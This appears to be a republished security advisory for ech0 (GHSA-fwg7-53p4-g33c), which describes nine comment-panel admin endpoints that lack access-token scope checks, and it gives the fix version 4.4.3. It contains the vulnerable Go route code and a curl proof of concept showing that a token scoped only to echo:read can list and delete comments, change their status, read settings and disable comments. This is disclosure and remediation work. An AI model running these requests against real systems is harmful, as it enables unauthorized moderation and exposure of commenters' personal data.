GHSA-fwg7-53p4-g33c: Github.com/lin snow/ech0 Ech0 Comment Panel Endpoints Missing Vulnerability

MODERATE
CVSS 5.5
CWE-862
Published
Advisory Summary

GHSA-fwg7-53p4-g33c is a MODERATE (CVSS 5.5) ech0 comment panel endpoints missing vulnerability (CWE-862: Missing Authorization) affecting Github.com/lin snow/ech0 libraries in the Go ecosystem. The issue involves ech0 comment panel endpoints missing requirescopes middleware — scoped access token bypass. Remediation is available by upgrading affected packages to version 4.4.3.

GHSA-fwg7-53p4-g33c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-fwg7-53p4-g33c
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-862: Missing Authorization
Affected Product Github.com/lin snow/ech0
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-fwg7-53p4-g33c

To remediate this vulnerability, upgrade all affected Github.com/lin snow/ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lin-snow/ech0 fixed: 4.4.3
Upgrade github.com/lin-snow/ech0 to 4.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lin-snow/ech0

How to Check if You Are Affected

To determine whether your application is affected by GHSA-fwg7-53p4-g33c, inspect your project dependencies for Github.com/lin snow/ech0:

inspect dependencies for github.com/lin-snow/ech0

Analyze the terminal output to locate any version of Github.com/lin snow/ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.4.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Github.com/lin snow/ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary All 9 comment panel admin endpoints (`/api/panel/comments/*`) are missing `RequireScopes()` middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., `echo:read` only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings. ## Details The access token scope enforcement system works as follows: `JWTAuthMiddleware` (`internal/middleware/auth.go`) parses any valid JWT and injects a viewer into the request context. The `RequireScopes()` middleware (`internal/middleware/scope.go:14`) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority). Every admin route group applies `RequireScopes()` per-handler: - `internal/router/echo.go` — uses `RequireScopes(ScopeEchoWrite)` / `RequireScopes(ScopeEchoRead)` - `internal/router/file.go` — uses `RequireScopes(ScopeFileRead)` / `RequireScopes(ScopeFileWrite)` - `internal/router/user.go` — uses `RequireScopes(ScopeAdminUser)` / `RequireScopes(ScopeProfileRead)` - `internal/router/setting.go` — uses `RequireScopes(ScopeAdminSettings)` / `RequireScopes(ScopeAdminToken)` However, `internal/router/comment.go:28-36` registers all 9 panel endpoints directly on `AuthRouterGroup` without any `RequireScopes()` call: ```go // internal/router/comment.go:28-36 appRouterGroup.AuthRouterGroup.GET("/panel/comments", h.CommentHandler.ListPanelComments()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", h.CommentHandler.GetCommentByID()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", h.CommentHandler.UpdateCommentStatus()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", h.CommentHandler.UpdateCommentHot()) appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", h.CommentHandler.DeleteComment()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", h.CommentHandler.BatchAction()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", h.CommentHandler.GetCommentSetting()) appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", h.CommentHandler.UpdateCommentSetting()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", h.CommentHandler.TestCommentEmail()) ``` The service layer's `requireAdmin()` (`internal/service/comment/comment.go:719-732`) only validates the user's database role (`IsAdmin`/`IsOwner`), not the token's scopes: ```go func (s *CommentService) requireAdmin(ctx context.Context) error { v := viewer.MustFromContext(ctx) if v == nil || strings.TrimSpace(v.UserID()) == "" { return commonModel.NewBizError(...) } user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID()) if err != nil { return err } if !user.IsAdmin && !user.IsOwner { return commonModel.NewBizError(...) } return nil } ``` The scopes `comment:read`, `comment:write`, and `comment:moderate` are defined in `internal/model/auth/scope.go:11-13` and registered as valid scopes, but are never referenced in any `RequireScopes()` middleware call anywhere in the codebase. **Execution flow:** Request with access token (scoped to `echo:read` only) → `JWTAuthMiddleware` extracts user ID, sets viewer → No `RequireScopes` middleware → Handler calls service → `requireAdmin()` checks `user.IsAdmin` (true for admin user) → Operation succeeds. ## PoC ```bash # 1. As admin, create an access token scoped ONLY to echo:read curl -X POST https://target/api/settings/access-tokens \ -H 'Authorization: Bearer <admin-session-token>' \ -H 'Content-Type: application/json' \ -d '{"name":"readonly","scopes":["echo:read"],"audience":["public-client"],"expiry_days":30}' # Save the returned token as $TOKEN # 2. Verify the token CANNOT access other admin endpoints (scoped correctly): curl https://target/api/settings \ -H "Authorization: Bearer $TOKEN" # Expected: 403 Forbidden (scope check blocks access) # 3. Use the same limited token to list ALL comments (including pending/rejected): curl https://target/api/panel/comments \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK with full comment list (bypasses scope enforcement) # 4. Delete a comment: curl -X DELETE https://target/api/panel/comments/<comment-id> \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK (should require comment:moderate scope) # 5. Approve/reject comments: curl -X PATCH https://target/api/panel/comments/<comment-id>/status \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"status":"approved"}' # Expected: 200 OK (should require comment:moderate scope) # 6. Read comment system settings: curl https://target/api/panel/comments/settings \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK (may expose SMTP configuration) # 7. Disable the comment system entirely: curl -X PUT https://target/api/panel/comments/settings \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"enable_comment":false}' # Expected: 200 OK (should require admin:settings scope) ``` ## Impact - **Principle of least privilege violation**: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority. - **Unauthorized comment moderation**: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to `echo:read`) can approve, reject, delete, and batch-modify all comments. - **Data exposure**: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with `comment:read` scope. - **Settings modification**: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials. - **Scope**: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem. ## Recommended Fix Add `RequireScopes()` middleware to all comment panel routes in `internal/router/comment.go`: ```go func setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { // ... captcha and public routes unchanged ... // Admin Panel — enforce scopes on access tokens appRouterGroup.AuthRouterGroup.GET("/panel/comments", middleware.RequireScopes(authModel.ScopeCommentRead), h.CommentHandler.ListPanelComments()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", middleware.RequireScopes(authModel.ScopeCommentRead), h.CommentHandler.GetCommentByID()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.UpdateCommentStatus()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.UpdateCommentHot()) appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.DeleteComment()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.BatchAction()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.GetCommentSetting()) appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.UpdateCommentSetting()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.TestCommentEmail()) } ```

GHSA-fwg7-53p4-g33c Affected Github.com/lin snow/ech0 Versions

1 component(s)
Fixed Versions:
4.4.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lin-snow/ech0
Go
< 4.4.3
4.4.3

References

Frequently Asked Questions

What is GHSA-fwg7-53p4-g33c?
GHSA-fwg7-53p4-g33c is a security vulnerability in Github.com/lin snow/ech0 involving Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass under CWE-862: Missing Authorization.
Which Github.com/lin snow/ech0 versions are affected?
Affected versions include releases prior to 4.4.3 across affected packages: github.com/lin-snow/ech0.
What version fixes GHSA-fwg7-53p4-g33c?
Upgrading to 4.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lin-snow/ech0 affected?
Yes, github.com/lin-snow/ech0 is affected in releases prior to 4.4.3. Upgrade your dependency to 4.4.3 or later.
What is the CVSS score of GHSA-fwg7-53p4-g33c?
GHSA-fwg7-53p4-g33c has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with GHSA-fwg7-53p4-g33c?
GHSA-fwg7-53p4-g33c is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for GHSA-fwg7-53p4-g33c?
Run the dependency tree command: 'inspect dependencies for github.com/lin-snow/ech0'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fwg7-53p4-g33c",
  "modified" : "2026-04-10T19:49:20Z",
  "published" : "2026-04-10T19:49:20Z",
  "aliases" : [ ],
  "summary" : "Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass",
  "details" : "## Summary\n\nAll 9 comment panel admin endpoints (`/api/panel/comments/*`) are missing `RequireScopes()` middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., `echo:read` only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings.\n\n## Details\n\nThe access token scope enforcement system works as follows: `JWTAuthMiddleware` (`internal/middleware/auth.go`) parses any valid JWT and injects a viewer into the request context. The `RequireScopes()` middleware (`internal/middleware/scope.go:14`) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority).\n\nEvery admin route group applies `RequireScopes()` per-handler:\n\n- `internal/router/echo.go` — uses `RequireScopes(ScopeEchoWrite)` / `RequireScopes(ScopeEchoRead)`\n- `internal/router/file.go` — uses `RequireScopes(ScopeFileRead)` / `RequireScopes(ScopeFileWrite)`\n- `internal/router/user.go` — uses `RequireScopes(ScopeAdminUser)` / `RequireScopes(ScopeProfileRead)`\n- `internal/router/setting.go` — uses `RequireScopes(ScopeAdminSettings)` / `RequireScopes(ScopeAdminToken)`\n\nHowever, `internal/router/comment.go:28-36` registers all 9 panel endpoints directly on `AuthRouterGroup` without any `RequireScopes()` call:\n\n```go\n// internal/router/comment.go:28-36\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments\", h.CommentHandler.ListPanelComments())\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/:id\", h.CommentHandler.GetCommentByID())\nappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/status\", h.CommentHandler.UpdateCommentStatus())\nappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/hot\", h.CommentHandler.UpdateCommentHot())\nappRouterGroup.AuthRouterGroup.DELETE(\"/panel/comments/:id\", h.CommentHandler.DeleteComment())\nappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/batch\", h.CommentHandler.BatchAction())\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/settings\", h.CommentHandler.GetCommentSetting())\nappRouterGroup.AuthRouterGroup.PUT(\"/panel/comments/settings\", h.CommentHandler.UpdateCommentSetting())\nappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/settings/test-email\", h.CommentHandler.TestCommentEmail())\n```\n\nThe service layer's `requireAdmin()` (`internal/service/comment/comment.go:719-732`) only validates the user's database role (`IsAdmin`/`IsOwner`), not the token's scopes:\n\n```go\nfunc (s *CommentService) requireAdmin(ctx context.Context) error {\n    v := viewer.MustFromContext(ctx)\n    if v == nil || strings.TrimSpace(v.UserID()) == \"\" {\n        return commonModel.NewBizError(...)\n    }\n    user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID())\n    if err != nil { return err }\n    if !user.IsAdmin && !user.IsOwner {\n        return commonModel.NewBizError(...)\n    }\n    return nil\n}\n```\n\nThe scopes `comment:read`, `comment:write`, and `comment:moderate` are defined in `internal/model/auth/scope.go:11-13` and registered as valid scopes, but are never referenced in any `RequireScopes()` middleware call anywhere in the codebase.\n\n**Execution flow:** Request with access token (scoped to `echo:read` only) → `JWTAuthMiddleware` extracts user ID, sets viewer → No `RequireScopes` middleware → Handler calls service → `requireAdmin()` checks `user.IsAdmin` (true for admin user) → Operation succeeds.\n\n## PoC\n\n```bash\n# 1. As admin, create an access token scoped ONLY to echo:read\ncurl -X POST https://target/api/settings/access-tokens \\\n  -H 'Authorization: Bearer <admin-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"readonly\",\"scopes\":[\"echo:read\"],\"audience\":[\"public-client\"],\"expiry_days\":30}'\n# Save the returned token as $TOKEN\n\n# 2. Verify the token CANNOT access other admin endpoints (scoped correctly):\ncurl https://target/api/settings \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 403 Forbidden (scope check blocks access)\n\n# 3. Use the same limited token to list ALL comments (including pending/rejected):\ncurl https://target/api/panel/comments \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK with full comment list (bypasses scope enforcement)\n\n# 4. Delete a comment:\ncurl -X DELETE https://target/api/panel/comments/<comment-id> \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK (should require comment:moderate scope)\n\n# 5. Approve/reject comments:\ncurl -X PATCH https://target/api/panel/comments/<comment-id>/status \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"status\":\"approved\"}'\n# Expected: 200 OK (should require comment:moderate scope)\n\n# 6. Read comment system settings:\ncurl https://target/api/panel/comments/settings \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK (may expose SMTP configuration)\n\n# 7. Disable the comment system entirely:\ncurl -X PUT https://target/api/panel/comments/settings \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"enable_comment\":false}'\n# Expected: 200 OK (should require admin:settings scope)\n```\n\n## Impact\n\n- **Principle of least privilege violation**: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority.\n- **Unauthorized comment moderation**: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to `echo:read`) can approve, reject, delete, and batch-modify all comments.\n- **Data exposure**: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with `comment:read` scope.\n- **Settings modification**: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials.\n- **Scope**: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem.\n\n## Recommended Fix\n\nAdd `RequireScopes()` middleware to all comment panel routes in `internal/router/comment.go`:\n\n```go\nfunc setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// ... captcha and public routes unchanged ...\n\n\t// Admin Panel — enforce scopes on access tokens\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentRead),\n\t\th.CommentHandler.ListPanelComments())\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/:id\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentRead),\n\t\th.CommentHandler.GetCommentByID())\n\tappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/status\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.UpdateCommentStatus())\n\tappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/hot\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.UpdateCommentHot())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/panel/comments/:id\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.DeleteComment())\n\tappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/batch\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.BatchAction())\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/settings\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.GetCommentSetting())\n\tappRouterGroup.AuthRouterGroup.PUT(\"/panel/comments/settings\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.UpdateCommentSetting())\n\tappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/settings/test-email\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.TestCommentEmail())\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-fwg7-53p4-g33c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:49:20Z",
    "nvd_published_at" : null
  }
}